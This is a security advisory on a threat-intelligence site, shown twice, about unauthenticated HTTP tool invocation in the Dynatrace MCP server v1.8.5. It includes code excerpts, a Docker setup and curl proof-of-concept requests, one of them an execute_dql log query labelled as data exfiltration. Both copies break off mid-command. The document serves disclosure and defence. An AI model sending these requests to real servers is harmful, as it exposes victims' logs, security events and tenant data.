`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" }
`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation
Description
### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" }
CVSS v3.1
Score 7.5high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-p7w7-4929-vpj5
- Osv Schema Version
- 1.4.0
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a6cf7f5bf32cb7a342b4396
Added to database: 07/31/2026, 19:31:01 UTC
Last updated: 07/31/2026, 19:31:01 UTC
Views: 1
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.